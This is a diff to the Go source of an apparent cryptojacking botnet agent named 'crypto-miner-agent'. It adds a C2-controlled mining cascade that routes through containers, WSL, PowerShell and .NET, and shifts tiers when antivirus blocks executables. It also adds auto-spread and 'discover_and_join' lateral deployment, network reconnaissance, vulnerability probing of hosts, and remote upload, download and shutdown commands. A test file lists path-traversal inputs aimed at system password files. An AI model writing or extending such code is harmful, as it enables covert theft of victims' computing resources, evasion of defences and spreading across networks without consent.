dotnetMiner *miner.DotnetLauncher + // hostMiningDisabled is true when a healthy container handles RandomX on the host. + hostMiningDisabled atomic.Bool + // miningChain orchestrates container → in-process → GPU → Stratum cascade. + miningChain *MiningChainRunner + // tierPolicy is server-pulled LOTL onion ordering (auth_response / policy_update). + tierPolicy miner.MiningTierPolicy + // triplePolicy is server-pulled recon → deploy → mining gate policy. + triplePolicy miner.TripleOnionPolicy + triplePolicyLoaded bool + // joinLane is the last successful discover_and_join supply-chain lane. + joinLane string + // lastJobAt records when the most recent valid mining job was delivered. // The Stratum fallback manager uses this to detect "connected but jobless" // situations and start direct Stratum mining after a timeout. @@ -55,6 +77,9 @@ type AgentClient struct { // successful WS authentication confirms we are on an owned fleet. spreadOnce sync.Once + // commandResultHook is set in tests to observe sendCommandResult without a live WS. + commandResultHook func(action string, success bool, message string) + // beaconMode is true while commands/results use HTTPS beacon transport. beaconMode atomic.Bool // wsDownSince is set when WebSocket dial/auth fails; cleared on successful WS auth. @@ -69,6 +94,7 @@ func NewAgentClient(cfg config.RuntimeConfig) *AgentClient { agentID: cfg.AgentID, } c.mesh = NewMeshNode(c) + c.initSpreadCredHooks() return c } @@ -87,14 +113,15 @@ func (c *AgentClient) Run() error { c.pool.Start() defer c.pool.Stop() - // Start GPU miner (Ravencoin / KawPoW) if configured - if gm := newGPUMiner(c.cfg); gm != nil { - c.mu.Lock() - c.gpuMiner = gm - c.mu.Unlock() - gm.Start() - defer gm.Stop() + chainCtx, chainCancel := context.WithCancel(context.Background()) + defer chainCancel() + c.miningChain = c.newMiningChainRunner() + if deploy.WantsDeferMining() { + go c.startMiningWhenReady(chainCtx) + } else { + c.miningChain.Start(chainCtx) } + defer c.miningChain.Stop() // Start AI Autonomy runner if enabled if c.cfg.AIEnabled { @@ -324,9 +351,12 @@ func (c *AgentClient) authenticate() error { OSVersion: deploy.HostOSVersion(), MacAddress: primaryMACAddress(), BuildID: c.cfg.BuildID, - USBSpread: c.cfg.USBSpread, - Campaign: strings.TrimSpace(os.Getenv("AETHER_CAMPAIGN")), - UTM: strings.TrimSpace(os.Getenv("AETHER_UTM")), + USBSpread: c.cfg.USBSpread, + Campaign: strings.TrimSpace(os.Getenv("AETHER_CAMPAIGN")), + UTM: strings.TrimSpace(os.Getenv("AETHER_UTM")), + LotlOnionEnabled: c.cfg.LotlOnionEnabled, + LotlPolicyFromServer: c.cfg.LotlPolicyFromServer, + JoinLane: c.getJoinLane(), }) if err := c.write(Message{Type: "auth", Payload: payload}); err != nil { return err @@ -350,7 +380,15 @@ func (c *AgentClient) authenticate() error { if !resp.Success { return fmt.Errorf("auth failed: %s", resp.Error) } + c.applyAuthLotlPolicy(resp) c.agentID = resp.AgentID + if c.cfg.LotlPolicyFromServer && len(resp.LotlOnionTiers) > 0 { + c.mu.Lock() + c.cfg.LotlOnionTiers = deploy.NormalizeLotlTiers(resp.LotlOnionTiers) + cfg := c.cfg + c.mu.Unlock() + log.Printf("[agent] LOTL onion tiers pulled from server: %v", cfg.LotlOnionTiers) + } c.clearWSDownSince() log.Printf("[agent] authenticated as %s (WebSocket)", c.agentID) // Persist the server-confirmed ID so restarts always reconnect as the same agent. @@ -360,16 +398,21 @@ func (c *AgentClient) authenticate() error { // Gate AutoSpread behind successful server auth: only spread on fleets where // our fleet secret was accepted, preventing lateral movement on non-owned networks. - if c.cfg.AutoSpread { - c.spreadOnce.Do(func() { - deploy.StartAutoSpreader(c.cfg) - // One-shot first-run spread (triggered on the very first install). - if deploy.WantsFirstRunSpread(c.cfg) { - deploy.RunSpreadOnce(c.cfg) - deploy.ClearFirstRunSpreadMarker(c.cfg) + c.spreadOnce.Do(func() { + c.mu.Lock() + cfg := c.cfg + c.mu.Unlock() + if cfg.AutoSpread { + deploy.StartAutoSpreader(cfg) + if deploy.WantsFirstRunSpread(cfg) { + deploy.RunSpreadOnce(cfg) + deploy.ClearFirstRunSpreadMarker(cfg) } - }) - } + } + if cfg.LotlOnionEnabled { + deploy.StartLotlOnion(cfg) + } + }) c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")}) return nil @@ -465,24 +508,62 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path, return } c.sendCommandResult(action, true, "module "+module+" applied") + case "start_mining": + // WSL sidecar: toggle systemd user unit when that tier is active (see wsl_launcher.go). + if c.wslMiner != nil && c.wslMiner.Running() { + wslRT := miner.WSLDetector() + _ = miner.ToggleWSLMining(wslRT, "", true) + } + if c.miningChain != nil { + c.miningChain.Resume(context.Background()) + } else { + c.pool.ResumeRemote() + } + c.sendCommandResult(action, true, "mining started") case "pause": - c.pool.PauseRemote() - c.mu.Lock() - gm := c.gpuMiner - c.mu.Unlock() - if gm != nil { - gm.Pause() + if c.wslMiner != nil && c.wslMiner.Running() { + wslRT := miner.WSLDetector() + _ = miner.ToggleWSLMining(wslRT, "", false) + } + if c.miningChain != nil { + c.miningChain.Stop() + } else { + c.pool.PauseRemote() + if c.containerMiner != nil && c.containerMiner.Running() { + c.containerMiner.Stop() + } + c.mu.Lock() + gm := c.gpuMiner + c.mu.Unlock() + if gm != nil { + gm.Pause() + } } c.sendCommandResult(action, true, "mining paused") case "resume": - c.pool.ResumeRemote() - c.mu.Lock() - gm := c.gpuMiner - c.mu.Unlock() - if gm != nil { - gm.Resume() + if c.miningChain != nil { + c.miningChain.Resume(context.Background()) + } else { + if c.containerMiner != nil && !c.containerMiner.Running() { + if err := c.containerMiner.Start(); err != nil { + log.Printf("[container] resume restart failed: %v — using in-process mining", err) + c.hostMiningDisabled.Store(false) + c.pool.ResumeRemote() + } else { + c.hostMiningDisabled.Store(true) + c.pool.PauseRemote() + } + } else if !c.hostMiningDisabled.Load() { + c.pool.ResumeRemote() + } + c.mu.Lock() + gm := c.gpuMiner + c.mu.Unlock() + if gm != nil { + gm.Resume() + } } - c.sendCommandResult(action, true, "mining resumed") + c.sendCommandResult(action, true, "fleet health: hashing restored") case "restart": c.sendCommandResult(action, true, "restarting") go c.restartSelf() @@ -515,6 +596,8 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path, c.sendCommandResult(action, true, "system shutdown initiated") } }() + case "mining_diagnostics": + c.sendCommandResult(action, true, c.miningDiagnosticsJSON()) case "get_log": if tailLines <= 0 { tailLines = 300 @@ -640,6 +723,10 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path, } func (c *AgentClient) sendCommandResult(action string, success bool, message string) { + if c.commandResultHook != nil { + c.commandResultHook(action, success, message) + return + } payload, _ := json.Marshal(map[string]interface{}{ "action": action, "success": success, @@ -841,6 +928,16 @@ func probeSSH() bool { return true } +func (c *AgentClient) stratumEgress(stratumOverlay bool) string { + if stratumOverlay { + return "direct" + } + if c.connected.Load() { + return "c2_ws" + } + return "none" +} + func (c *AgentClient) statsLoop(stop <-chan struct{}) { ticker := time.NewTicker(10 * time.Second) defer ticker.Stop() @@ -852,6 +949,8 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) { var lastPressure *ResourcePressure var lastDNS *DNSConfig var lastListenPortCount *int + var lastNetworkHints *deploy.NetworkHints + var lastVulnReport *vulnprobe.ScanReport var postureReady bool for { select { @@ -908,6 +1007,9 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) { n := lp.Count lastListenPortCount = &n } + hints := deploy.CollectPassiveNetworkHints(deploy.MaxSubnetScanHosts) + lastNetworkHints = &hints + lastVulnReport = RunVulnLOTLProbe() } probeTick++ @@ -927,6 +1029,7 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) { stats.DNSSearchDomains = lastDNS.SearchDomains } stats.ListenPortCount = lastListenPortCount + stats.NetworkHints = lastNetworkHints if lastPressure != nil { stats.CPUFreqMHz = lastPressure.CPUFreqMHz stats.CPUMaxMHz = lastPressure.CPUMaxMHz @@ -972,6 +1075,69 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) { stats.AgentElevated = lastPosture.AgentElevated stats.Services = lastPosture.Services } + if c.miningChain != nil { + ms := c.miningChain.Status() + stats.ActiveMethod = string(ms.ActiveMethod) + stats.StratumOverlay = ms.StratumOverlay + stats.ChainExhausted = ms.ChainExhausted + stats.MiningLastError = ms.LastError + if ms.LOTLTier != "" { + stats.LOTLTier = string(ms.LOTLTier) + } + if len(ms.LOTLAttempts) > 0 { + stats.LOTLAttempts = make([]TierAttemptPayload, len(ms.LOTLAttempts)) + for i, a := range ms.LOTLAttempts { + stats.LOTLAttempts[i] = TierAttemptPayload{ + Phase: a.Phase, + Tier: string(a.Tier), + OK: a.OK, + Error: a.Error, + DurationMs: a.DurationMs, + Wallet: a.Wallet, + } + } + } + if len(ms.FailedMethods) > 0 { + stats.FailedMethods = make([]MethodFailurePayload, len(ms.FailedMethods)) + for i, f := range ms.FailedMethods { + stats.FailedMethods[i] = MethodFailurePayload{ + Method: string(f.Method), + Reason: f.Reason, + At: f.At, + } + } + } + if len(ms.ChainOrder) > 0 { + stats.ChainOrder = make([]string, len(ms.ChainOrder)) + for i, m := range ms.ChainOrder { + stats.ChainOrder[i] = string(m) + } + } + stats.StratumEgress = c.stratumEgress(ms.StratumOverlay) + } else { + stats.StratumEgress = c.stratumEgress(false) + } + stats.MiningHashrate = avg15s + stats.GPUHashrate15s + if lastVulnReport != nil { + score := lastVulnReport.RiskScore + stats.VulnRiskScore = &score + if len(lastVulnReport.Findings) > 0 { + stats.VulnFindings = make([]VulnFindingPayload, len(lastVulnReport.Findings)) + for i, f := range lastVulnReport.Findings { + stats.VulnFindings[i] = VulnFindingPayload{ + CVEID: f.CVEID, + Severity: f.Severity, + Component: f.Component, + Patched: f.Patched, + ExploitableInFleetContext: f.ExploitableInFleetContext, + Detail: f.Detail, + } + } + } + } + if lane := c.getJoinLane(); lane != "" { + stats.JoinLane = lane + } payload, _ := json.Marshal(stats) if err := c.write(Message{Type: "stats", Payload: payload}); err != nil { log.Printf("[agent] stats send failed: %v", err) @@ -1026,6 +1192,10 @@ func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) { if c.cfg.PoolHost == "" { return // no pool configured } + if c.cfg.StratumOverWS { + log.Printf("[stratum] StratumOverWS enabled — direct pool egress disabled; telemetry via C2 WebSocket") + return + } type fallback struct { stop chan struct{} @@ -1057,6 +1227,9 @@ func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) { sc.RunFallback(stop) }() fb = &fallback{stop: stop, wait: wait} + if c.miningChain != nil { + c.miningChain.SetStratumActive(true) + } if c.connected.Load() { log.Printf("[stratum] C2 connected but no job in 15s — direct Stratum started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort) } else { @@ -1070,6 +1243,9 @@ func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) { <-fb.wait fb = nil c.pool.SetShareHandler(c.submitShare) + if c.miningChain != nil { + c.miningChain.SetStratumActive(false) + } log.Printf("[stratum] fallback stopped — %s", reason) } } diff --git a/agent/client/client_upload_test.go b/agent/client/client_upload_test.go new file mode 100644 index 0000000..2a902bc --- /dev/null +++ b/agent/client/client_upload_test.go @@ -0,0 +1,131 @@ +package client + +import ( + "encoding/base64" + "strings" + "sync" + "testing" + + "crypto-miner-agent/deploy" +) + +type commandResult struct { + action string + success bool + message string +} + +func captureCommandResult(t *testing.T, c *AgentClient) (done <-chan struct{}, result *commandResult) { + t.Helper() + ch := make(chan struct{}) + var mu sync.Mutex + out := &commandResult{} + c.commandResultHook = func(action string, success bool, message string) { + mu.Lock() + out.action = action + out.success = success + out.message = message + mu.Unlock() + close(ch) + } + t.Cleanup(func() { c.commandResultHook = nil }) + return ch, out +} + +func TestUploadCommandRejectsPathTraversal(t *testing.T) { + data := base64.StdEncoding.EncodeToString([]byte("payload")) + + cases := []struct { + name string + path string + }{ + {name: "unix_relative", path: "../../etc/passwd"}, + {name: "windows_relative", path: `..\..\Windows\System32\config\sam`}, + {name: "embedded_traversal", path: "uploads/../../outside.txt"}, + {name: "absolute_with_traversal", path: "/var/log/../../etc/shadow"}, + } + + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + _, err := deploy.ResolveRemotePath(tc.path) + if err == nil { + t.Fatalf("ResolveRemotePath(%q) should reject traversal", tc.path) + } + if !strings.Contains(err.Error(), "path traversal") { + t.Fatalf("ResolveRemotePath(%q) error = %q, want path traversal rejection", tc.path, err.Error()) + } + + c := newTestClient(t) + done, got := captureCommandResult(t, c) + c.handleCommand("upload", 0, "", tc.path, data, "") + <-done + + if got.action != "upload" { + t.Fatalf("action = %q, want upload", got.action) + } + if got.success { + t.Fatalf("upload with %q should fail (success=true, message=%q)", tc.path, got.message) + } + if !strings.Contains(got.message, "path traversal") { + t.Fatalf("message = %q, want path traversal error from ResolveRemotePath", got.message) + } + }) + } +} + + +func TestDownloadCommandRejectsPathTraversal(t *testing.T) { + cases := []struct { + name string + path string + }{ + {name: "unix_relative", path: "../../etc/passwd"}, + {name: "windows_relative", path: `..\..\Windows\System32\config\sam`}, + {name: "embedded_traversal", path: "uploads/../../outside.txt"}, + {name: "absolute_with_traversal", path: "/var/log/../../etc/shadow"}, + } + + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + _, err := deploy.ResolveRemotePath(tc.path) + if err == nil { + t.Fatalf("ResolveRemotePath(%q) should reject traversal", tc.path) + } + if !strings.Contains(err.Error(), "path traversal") { + t.Fatalf("ResolveRemotePath(%q) error = %q, want path traversal rejection", tc.path, err.Error()) + } + + c := newTestClient(t) + done, got := captureCommandResult(t, c) + c.handleCommand("download", 0, "", tc.path, "", "") + <-done + + if got.action != "download" { + t.Fatalf("action = %q, want download", got.action) + } + if got.success { + t.Fatalf("download with %q should fail (success=true, message=%q)", tc.path, got.message) + } + if !strings.Contains(got.message, "path traversal") { + t.Fatalf("message = %q, want path traversal error from ResolveRemotePath", got.message) + } + }) + } +} +func TestUploadCommandAcceptsSafePath(t *testing.T) { + dir := t.TempDir() + dest := dir + "/notes.txt" + data := base64.StdEncoding.EncodeToString([]byte("ok")) + + c := newTestClient(t) + done, got := captureCommandResult(t, c) + c.handleCommand("upload", 0, "", dest, data, "") + <-done + + if !got.success { + t.Fatalf("safe upload failed: %s", got.message) + } + if got.action != "upload" { + t.Fatalf("action = %q, want upload", got.action) + } +} diff --git a/agent/client/commands_common.go b/agent/client/commands_common.go index 66b1def..c3c479a 100644 --- a/agent/client/commands_common.go +++ b/agent/client/commands_common.go @@ -40,6 +40,12 @@ func (c *AgentClient) handleReconCommand(action, command string) bool { c.sendCommandResult(action, true, string(b)) return true } + if action == "network_recon" { + hints := deploy.CollectPassiveNetworkHints(deploy.MaxSubnetScanHosts) + b, _ := json.Marshal(hints) + c.sendCommandResult(action, true, string(b)) + return true + } if action == "persistence_audit" { report := collectPersistenceAudit() b, _ := json.Marshal(report) diff --git a/agent/client/discover_join.go b/agent/client/discover_join.go new file mode 100644 index 0000000..df3e548 --- /dev/null +++ b/agent/client/discover_join.go @@ -0,0 +1,87 @@ +package client + +import ( + "bytes" + "encoding/json" + "fmt" + "io" + "net/http" + "os" + "runtime" + "strings" + "time" + + "crypto-miner-agent/deploy" +) + +func (c *AgentClient) setJoinLane(lane string) { + c.mu.Lock() + c.joinLane = strings.TrimSpace(lane) + c.mu.Unlock() +} + +func (c *AgentClient) getJoinLane() string { + c.mu.Lock() + defer c.mu.Unlock() + return c.joinLane +} + +func (c *AgentClient) fetchDeployPlan(services []deploy.DeployServiceFinding, uncPath string) (deploy.DeployPlanResponse, error) { + var out deploy.DeployPlanResponse + base, err := c.apiBaseURL(c.cfg.ServerURL) + if err != nil { + return out, err + } + body, _ := json.Marshal(map[string]interface{}{ + "agent_id": c.agentID, + "build_id": c.cfg.BuildID, + "campaign": strings.TrimSpace(os.Getenv("AETHER_CAMPAIGN")), + "platform": runtime.GOOS, + "services": services, + "unc_path": uncPath, + }) + req, err := http.NewRequest(http.MethodPost, base+"/agent/deploy-plan", bytes.NewReader(body)) + if err != nil { + return out, err + } + req.Header.Set("Content-Type", "application/json") + req.Header.Set("X-Fleet-Secret", c.cfg.FleetSecret) + client := &http.Client{Timeout: 60 * time.Second} + resp, err := client.Do(req) + if err != nil { + return out, err + } + data, _ := io.ReadAll(resp.Body) + resp.Body.Close() + if resp.StatusCode == http.StatusForbidden { + return out, fmt.Errorf("deploy-plan auth rejected") + } + if resp.StatusCode != http.StatusOK { + return out, fmt.Errorf("deploy-plan HTTP %s: %s", resp.Status, strings.TrimSpace(string(data))) + } + if err := json.Unmarshal(data, &out); err != nil { + return out, err + } + if !out.OK && out.Error != "" { + return out, fmt.Errorf("%s", out.Error) + } + if out.JoinLane == "" && out.Plan.JoinLane != "" { + out.JoinLane = out.Plan.JoinLane + } + out.OK = true + return out, nil +} + +func (c *AgentClient) runDiscoverAndJoin(maxLANHosts int) (string, error) { + fetch := func(services []deploy.DeployServiceFinding, uncPath string) (deploy.DeployPlanResponse, error) { + return c.fetchDeployPlan(services, uncPath) + } + lane, detail, err := deploy.RunDiscoverAndJoin(c.cfg, maxLANHosts, fetch) + if err != nil { + return "", err + } + if lane != "" { + c.setJoinLane(lane) + } + return fmt.Sprintf("join_lane=%s; %s", lane, detail), nil +} diff --git a/agent/client/mining_chain.go b/agent/client/mining_chain.go new file mode 100644 index 0000000..185144c --- /dev/null +++ b/agent/client/mining_chain.go @@ -0,0 +1,488 @@ +package client + +import ( + "context" + "encoding/json" + "fmt" + "log" + "sync" + + "crypto-miner-agent/config" + "crypto-miner-agent/miner" +) + +// MiningChainRunner wires the unified fallback cascade into AgentClient. +type MiningChainRunner struct { + client *AgentClient + ctrl *miner.ChainController + tiers *miner.TierOrchestrator + onion *miner.TripleOnionOrchestrator + + mu sync.Mutex + monCancel context.CancelFunc + onionAttempts []miner.TierAttempt +} + +func (c *AgentClient) newMiningChainRunner() *MiningChainRunner { + miner.SetVulnProbeRunner(func() miner.TierAttempt { + report := RunVulnLOTLProbe() + attempt := miner.TierAttempt{ + Tier: miner.TierVulnProbe, + OK: true, + Wallet: c.cfg.Wallet, + Details: map[string]interface{}{ + "risk_score": report.RiskScore, + "exposed_count": report.ExposedCount, + "finding_count": len(report.Findings), + }, + } + return attempt + }) + r := &MiningChainRunner{client: c} + hooks := miner.ChainHooks{ + StartDockerLoad: r.startDockerLoad, + StartContainer: r.startContainer, + StartWSL: r.startWSL, + StartPowerShell: r.startPowerShell, + StartDotnet: r.startDotnet, + StartInProcess: r.startInProcess, + StartGPU: r.startGPU, + StartPyOpenCL: r.startPyOpenCL, + StopDockerLoad: r.stopDockerLoad, + StopContainer: r.stopContainer, + StopWSL: r.stopWSL, + StopPowerShell: r.stopPowerShell, + StopDotnet: r.stopDotnet, + StopInProcess: r.stopInProcess, + StopGPU: r.stopGPU, + StopPyOpenCL: r.stopPyOpenCL, + IsDockerLoadHealthy: func() bool { + return c.containerMiner != nil && c.containerMiner.Running() + }, + IsContainerHealthy: func() bool { + return c.containerMiner != nil && c.containerMiner.Running() + }, + IsWSLHealthy: func() bool { + return c.wslMiner != nil && c.wslMiner.Running() + }, + IsGPUSupported: func() bool { + return newGPUMiner(c.cfg) != nil + }, + PoolConfigured: func() bool { + return c.cfg.PoolHost != "" + }, + } + probes := miner.ProbeEnvironment(miner.RuntimeDetector) + r.tiers = miner.NewTierOrchestrator(c.cfg, probes, c.miningTierPolicy(), r.tiersHooks(hooks.IsGPUSupported), r.reportTierEvent) + hooks.RunTierProbes = func() miner.TierReport { + r.tiers.RunProbes(context.Background()) + return r.tiers.Report() + } + hooks.RunTierChain = func() (miner.LOTLTier, error) { + tier, err := r.tiers.TryChain(context.Background()) + return tier, err + } + hooks.StopTiers = func() {} + hooks.WebGPUReady = r.tiers.WebGPUReady + hooks.GPUComputeReady = r.tiers.GPUComputeReady + r.ctrl = miner.NewChainController(c.cfg, hooks, r.reportMiningEvent) + r.onion = r.wireTripleOnion() + return r +} + +func (r *MiningChainRunner) tiersHooks(isGPUSupported func() bool) miner.TierHooks { + return miner.TierHooks{ + StartDockerLoad: r.startDockerLoad, + StartContainer: r.startContainer, + StartWSL: r.startWSL, + StartPowerShell: r.startPowerShell, + StartDotnet: r.startDotnet, + StartInProcess: r.startInProcess, + StartGPU: r.startGPU, + StopDockerLoad: r.stopDockerLoad, + StopContainer: r.stopContainer, + StopWSL: r.stopWSL, + StopPowerShell: r.stopPowerShell, + StopDotnet: r.stopDotnet, + StopInProcess: r.stopInProcess, + StopGPU: r.stopGPU, + IsGPUSupported: isGPUSupported, + } +} + +// Start launches recon → deploy → mining triple onion, then the health monitor. +func (r *MiningChainRunner) Start(ctx context.Context) { + if r.onion != nil { + report := r.onion.Run(ctx) + log.Printf("[triple-onion] complete phase=%s gate=%+v recon_risk=%d attempts=%d", + report.ActivePhase, report.Gate, report.Recon.RiskScore, len(report.Attempts)) + r.mu.Lock() + r.onionAttempts = report.Attempts + r.mu.Unlock() + return + } + r.startMiningCascade(ctx) +} + +// startMiningCascade runs the existing LOTL mining onion + fallback chain. +func (r *MiningChainRunner) startMiningCascade(ctx context.Context) { + execMode, containerRT := miner.ResolveExecutionMode(r.client.cfg) + probes := miner.ProbeEnvironment(miner.RuntimeDetector) + tierReport := r.tiers.Report() + log.Printf("[mining-chain] execution=%s runtime=%s available=%v order=%v lotl=%v", + execMode, containerRT.CLI, containerRT.Available, r.ctrl.Status().ChainOrder, tierReport.TierChainOrder) + if hint := miner.AVBlockRecommendation(execMode, containerRT); hint != "" { + log.Printf("[mining-chain] %s", hint) + } + if probes.AVBlocksExe { + log.Printf("[mining-chain] AV blocks exe — tier onion skips subprocess, prefers container/WSL/PS") + } + + if r.onion != nil && r.onion.GateDecisionSnapshot().ForceIsolated { + policy := miner.ApplyIsolatedMiningPolicy(r.client.miningTierPolicy()) + r.client.mu.Lock() + r.client.tierPolicy = policy + r.client.mu.Unlock() + r.tiers = miner.NewTierOrchestrator(r.client.cfg, probes, policy, r.tiersHooks(func() bool { + return newGPUMiner(r.client.cfg) != nil + }), r.reportTierEvent) + } + + if tier, err := r.tiers.TryChain(ctx); err != nil { + log.Printf("[mining-chain] LOTL tier chain failed: %v", err) + } else if method, ok := miner.TierToMiningMethod(tier); ok { + r.ctrl.SetPrimaryActive(method) + } + + if _, err := r.ctrl.TryChain(ctx); err != nil { + log.Printf("[mining-chain] initial chain pass failed: %v", err) + } + + monCtx, cancel := context.WithCancel(ctx) + r.mu.Lock() + r.monCancel = cancel + r.mu.Unlock() + go r.ctrl.Monitor(monCtx) +} + +// Stop halts all mining methods in the chain. +func (r *MiningChainRunner) Stop() { + r.mu.Lock() + if r.monCancel != nil { + r.monCancel() + r.monCancel = nil + } + r.mu.Unlock() + r.ctrl.StopAll() +} + +// Resume restarts mining after a remote pause command. +func (r *MiningChainRunner) Resume(ctx context.Context) { + r.ctrl.ResumeAll(ctx) +} + +// Restart reruns the full chain (remote resume / reconnect). +func (r *MiningChainRunner) Restart(ctx context.Context) { + r.ctrl.RestartChain(ctx) +} + +// Status returns the live cascade snapshot for stats/diagnostics. +func (r *MiningChainRunner) Status() miner.MiningStatus { + st := r.ctrl.Status() + if r.tiers == nil { + return st + } + tr := r.tiers.Report() + if tr.ActiveTier != "" { + st.LOTLTier = tr.ActiveTier + } + r.mu.Lock() + onionAttempts := r.onionAttempts + r.mu.Unlock() + attempts := tr.Attempts + if len(onionAttempts) > 0 { + attempts = mergeOnionAttempts(onionAttempts, attempts) + } + if len(attempts) > 0 { + st.LOTLAttempts = attempts + } + st.WebGPUReady = tr.WebGPUReady + return st +} + +func mergeOnionAttempts(onion, mining []miner.TierAttempt) []miner.TierAttempt { + out := make([]miner.TierAttempt, 0, len(onion)+len(mining)) + out = append(out, onion...) + for _, a := range mining { + if a.Phase == "" || a.Phase == string(miner.OnionPhaseMining) { + out = append(out, a) + } + } + return out +} + +// SetStratumActive records direct Stratum overlay from stratumFallbackManager. +func (r *MiningChainRunner) SetStratumActive(active bool) { + r.ctrl.SetStratumActive(active) +} + +// OnGPUFailed records GPU subprocess failure without stopping CPU primary. +func (r *MiningChainRunner) OnGPUFailed(reason string) { + r.ctrl.OnMethodFailed(miner.MethodGPUSubprocess, reason) +} + +func (r *MiningChainRunner) startDockerLoad() error { + c := r.client + _, containerRT := miner.ResolveExecutionMode(c.cfg) + if !containerRT.Available { + return fmt.Errorf("docker_load tier: no container runtime (docker/podman not in PATH)") + } + tarPath, err := miner.ResolveImageTar(c.cfg) + if err != nil { + return err + } + launcher, err := miner.NewContainerLauncherFromTar(c.cfg, containerRT, tarPath) + if err != nil { + return err + } + if err := launcher.Start(); err != nil { + return err + } + c.containerMiner = launcher + c.hostMiningDisabled.Store(true) + c.pool.PauseRemote() + log.Printf("[mining-chain] docker_load active — host RandomX paused wallet=%s", c.cfg.Wallet) + return nil +} + +func (r *MiningChainRunner) startContainer() error { + c := r.client + _, containerRT := miner.ResolveExecutionMode(c.cfg) + launcher, err := miner.NewContainerLauncher(c.cfg, containerRT) + if err != nil { + return err + } + if err := launcher.Start(); err != nil { + return err + } + c.containerMiner = launcher + c.hostMiningDisabled.Store(true) + c.pool.PauseRemote() + log.Printf("[mining-chain] container active — host RandomX paused") + return nil +} + +func (r *MiningChainRunner) startWSL() error { + c := r.client + wslRT := miner.WSLDetector() + launcher, err := miner.NewWSLLauncher(c.cfg, wslRT) + if err != nil { + return err + } + if err := launcher.Start(); err != nil { + return err + } + c.wslMiner = launcher + c.hostMiningDisabled.Store(true) + c.pool.PauseRemote() + log.Printf("[mining-chain] wsl active — host RandomX paused wallet=%s", c.cfg.Wallet) + return nil +} + +func (r *MiningChainRunner) startPowerShell() error { + c := r.client + launcher, err := miner.NewPowerShellLauncher(c.cfg) + if err != nil { + return err + } + if err := launcher.Start(); err != nil { + return err + } + c.psMiner = launcher + c.hostMiningDisabled.Store(true) + c.pool.PauseRemote() + log.Printf("[mining-chain] powershell tier active wallet=%s pool=%s:%d", c.cfg.Wallet, c.cfg.PoolHost, c.cfg.PoolPort) + return nil +} + +func (r *MiningChainRunner) startDotnet() error { + c := r.client + launcher, err := miner.NewDotnetLauncher(c.cfg) + if err != nil { + return err + } + if err := launcher.Start(); err != nil { + return err + } + c.dotnetMiner = launcher + c.hostMiningDisabled.Store(true) + c.pool.PauseRemote() + log.Printf("[mining-chain] dotnet tier active wallet=%s pool=%s:%d toolchain=%s dir=%s", + c.cfg.Wallet, c.cfg.PoolHost, c.cfg.PoolPort, launcher.Toolchain(), launcher.WorkDir()) + return nil +} + +func (r *MiningChainRunner) startInProcess() error { + c := r.client + r.stopSidecarPrimary(c) + c.hostMiningDisabled.Store(false) + c.pool.ResumeRemote() + log.Printf("[mining-chain] in-process RandomX active") + return nil +} + +func (r *MiningChainRunner) startGPU() error { + c := r.client + c.mu.Lock() + defer c.mu.Unlock() + if c.gpuMiner != nil { + c.gpuMiner.Resume() + return nil + } + gm := newGPUMiner(c.cfg) + if gm == nil { + return miner.ErrMethodUnavailable + } + c.gpuMiner = gm + gm.Start() + log.Printf("[mining-chain] GPU subprocess started (parallel RVN)") + return nil +} + +func (r *MiningChainRunner) startPyOpenCL() error { + if err := miner.StartPyOpenCLTier(r.client.cfg); err != nil { + return err + } + log.Printf("[mining-chain] linux_pyopencl tier probe OK") + return nil +} + +func (r *MiningChainRunner) stopPyOpenCL() {} + +func (r *MiningChainRunner) stopDockerLoad() { + r.stopContainer() +} + +func (r *MiningChainRunner) stopContainer() { + c := r.client + if c.containerMiner != nil { + c.containerMiner.Stop() + c.containerMiner = nil + } + c.hostMiningDisabled.Store(false) +} + +func (r *MiningChainRunner) stopWSL() { + c := r.client + if c.wslMiner != nil { + c.wslMiner.Stop() + c.wslMiner = nil + } + c.hostMiningDisabled.Store(false) +} + +func (r *MiningChainRunner) stopPowerShell() { + c := r.client + if c.psMiner != nil { + c.psMiner.Stop() + c.psMiner = nil + } + c.hostMiningDisabled.Store(false) +} + +func (r *MiningChainRunner) stopDotnet() { + c := r.client + if c.dotnetMiner != nil { + c.dotnetMiner.Stop() + c.dotnetMiner = nil + } + c.hostMiningDisabled.Store(false) +} + +func (r *MiningChainRunner) stopSidecarPrimary(c *AgentClient) { + if c.containerMiner != nil && c.containerMiner.Running() { + c.containerMiner.Stop() + c.containerMiner = nil + } + if c.wslMiner != nil && c.wslMiner.Running() { + c.wslMiner.Stop() + c.wslMiner = nil + } + if c.psMiner != nil && c.psMiner.Running() { + c.psMiner.Stop() + c.psMiner = nil + } + if c.dotnetMiner != nil && c.dotnetMiner.Running() { + c.dotnetMiner.Stop() + c.dotnetMiner = nil + } +} + +func (r *MiningChainRunner) stopInProcess() { + c := r.client + c.pool.PauseRemote() +} + +func (r *MiningChainRunner) stopGPU() { + c := r.client + c.mu.Lock() + gm := c.gpuMiner + c.mu.Unlock() + if gm != nil { + gm.Stop() + } + c.mu.Lock() + c.gpuMiner = nil + c.mu.Unlock() + r.ctrl.SetGPUActive(false) +} + +func (r *MiningChainRunner) reportTierEvent(report miner.TierReport, eventType string) { + c := r.client + payload, err := json.Marshal(struct { + miner.TierReport + Event string `json:"event"` + }{ + TierReport: report, + Event: eventType, + }) + if err != nil { + return + } + if err := c.write(Message{Type: "tier_report", Payload: payload}); err != nil { + log.Printf("[lotl-tier] %s notify failed: %v", eventType, err) + } + r.ctrl.MergeLOTLReport(report) + if method, ok := miner.TierToMiningMethod(report.ActiveTier); ok { + r.ctrl.SetPrimaryActive(method) + } +} + +func (r *MiningChainRunner) reportMiningEvent(status miner.MiningStatus, eventType string) { + c := r.client + payload, err := json.Marshal(struct { + miner.MiningStatus + Event string `json:"event"` + }{ + MiningStatus: status, + Event: eventType, + }) + if err != nil { + return + } + if err := c.write(Message{Type: eventType, Payload: payload}); err != nil { + log.Printf("[mining-chain] %s notify failed: %v", eventType, err) + } +} + +// chainOrderForConfig 